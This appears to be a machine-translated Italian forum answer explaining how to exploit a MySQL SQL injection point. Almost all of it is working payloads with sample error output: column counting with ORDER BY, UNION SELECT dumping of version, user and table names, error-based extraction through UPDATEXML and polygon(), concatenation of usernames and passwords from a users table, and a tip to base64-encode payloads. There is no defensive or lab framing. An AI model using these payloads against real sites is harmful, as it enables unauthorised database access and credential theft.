Devi capire se il parametro viene analizzato come un intero o una stringa (molto probabilmente come stringa). Se la query è bilanciata e corretta, non morirà ().
prova ..
1' order by 1-- -
o ..
1 order by 1-- -
Se il primo restituisce un errore, significa che il parametro viene analizzato come numero intero, quindi non è necessario un preventivo (') per eseguire l'iniezione.
Ora, ci sono molti modi diversi per scaricare i dati qui. Ma preferirei i seguenti due:
Primo:
È necessario verificare quante colonne ci sono nella query prima del punto di iniezione. Puoi provare l'ordine per clausola qui. Inizia con il numero più alto. Ad esempio:
1' order by 1000-- -
Viene generato un errore.
ERROR 1054 (42S22): Unknown column '1000' in 'order clause'
Ora inizia a diminuire il conteggio. Conoscerai il numero esatto di colonne quando la query ha esito positivo. Diciamo che ci sono 5 colonne.
1' order by 5-- -
Quindi, questo non genera un errore.
Ora, aggiungi una query UNION con 5 colonne e annulla (e 0) la query effettiva.
1' and 0 UNION SELECT 1,2,3,4,5-- -
Se tutto va bene, vedrai le colonne vulnerabili nella pagina. Diciamo che la colonna vulnerabile che appare sulla pagina è '3'. Puoi scaricare i dati in questa colonna.
1' and 0 UNION SELECT 1,2,(SELECT version()),4,5-- -
o ..
1' and 0 UNION SELECT 1,2,(SELECT user()),4,5-- -
Se la versione di MySQL è superiore a 5, puoi eseguire questa operazione per scaricare i nomi delle tabelle.
1' and 0 UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables WHERE table_schema=database()),4,5-- -
e così via ..
In secondo luogo:
Puoi anche scaricare i dati nell'errore stesso. Ci sono molti modi per farlo ma preferisco le funzioni XML di MYSQL.
1' and UPDATEXML(NULL,concat(0x3a,version()),NULL)-- -
Questo genererà un errore con la versione di MYSQL.
ERROR 1105 (HY000): XPATH syntax error: ':5.5.47-0ubuntu0.14.04.1'
Quindi, puoi utilizzare le subquery per ottenere i dati.
1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit 0,1) ),NULL)-- -
Riceverai il nome della prima tabella nell'errore.
ERROR 1105 (HY000): XPATH syntax error: ':FIRST_TABLE_NAME'
Modifica
Per ottenere l'ennesimo nome_tabella, dare un OFFSET nella clausola LIMIT come LIMIT 0,1 .. LIMIT 1,1 .. LIMIT 2,1 .. LIMIT 3,1 e così via ..
1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit 1,1) ),NULL)-- -
Questo mostrerà il nome della seconda tabella nell'errore.
ERROR 1105 (HY000): XPATH syntax error: ':SECOND_TABLE_NAME'
Per nth table_name:
1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit N,1) ),NULL)-- -
Modifica 2:
Non è necessario scaricare le colonne di dati una alla volta. Puoi concatre più colonne come:
(SELECT concat(id, ':', username, ':', password) from users LIMIT 0,1)
Q: "possiamo scaricare o ottenere tutti i nomi delle tabelle in un colpo?"
Errore MYSQL ha un limite di caratteri. Questo LIMIT varia da funzione a funzione. Finora, il numero più alto di caratteri che ho visto è usando la funzione polygon (). Ecco una query di esempio per la versione di MySQL < 5.6.
1' and polygon((select*from(select*from(select concat((select group_concat(table_name) from information_schema.tables where table_schema=database())) as '' )'')''))-- -
Output:
Illegal non geometric '(select '' from (select '
FIRST_TABLE,SECOND_TABLE,THIRD_TABLE,FOURTH_TABLE,......
' value found during parsing
Siamo in grado di scaricare un sacco di più dati nell'iniezione SQL basata su UNION ma in base all'errore non è possibile scaricare dati più del limite di caratteri dell'errore MYSQL.
Assicurati di codificare ( BASE64 ) i tuoi payload.